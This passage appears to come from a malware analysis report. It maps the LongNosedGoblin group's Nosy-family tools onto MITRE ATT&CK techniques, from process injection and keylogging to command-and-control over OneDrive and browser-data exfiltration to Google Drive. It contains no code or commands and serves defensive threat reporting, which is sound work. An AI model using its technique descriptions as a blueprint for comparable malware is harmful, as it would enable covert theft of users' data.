T1055 Process Injection One observed NosyStealer Stage 2 injects Stage 3 to pmp.exe via CreateRemoteThread. The other observed sample injects to notepad.exe via SetThreadContext with ResumeThread.
T1620 Reflective Code Loading Donut has been used to execute NosyStealer Stage 3 and Stage 4 in memory.
Discovery T1217 Browser Information Discovery NosyHistorian collects browser history from Google Chrome, Microsoft Edge, and Mozilla Firefox.
T1083 File and Directory Discovery NosyDoor can list files and directories.
T1082 System Information Discovery NosyDoor obtains system information as part of C&C beaconing.
Collection T1056.001 Input Capture: Keylogging NosyLogger logs keystrokes.
T1125 Video Capture LongNosedGoblin has used video recording software, likely FFmpeg, to capture audio and video.
T1560 Archive Collected Data NosyLogger encrypts collected data via AES.
T1074.001 Data Staged: Local Data Staging NosyLogger stores pressed keys, window names, and clipboard content to a file at a hardcoded path.
Command and Control T1071.001 Application Layer Protocol: Web Protocols NosyDownloader uses HTTP to download further payload.
T1105 Ingress Tool Transfer NosyDoor and NosyDownloader can download and run subsequent payloads.
T1102.002 Web Service: Bidirectional Communication NosyDoor uses Microsoft OneDrive as its C&C server. NosyStealer uses Google Docs to receive a trigger command and to send debug messages, and Google Drive to exfiltrate browser data.
T1573.001 Encrypted Channel: Symmetric Cryptography NosyDoor encrypts C&C command outputs via AES.
T1573.002 Encrypted Channel: Asymmetric Cryptography NosyDoor uses RSA to encrypt metadata that is sent to the C&C server.
Exfiltration T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage NosyStealer exfiltrates browser data to Google Drive.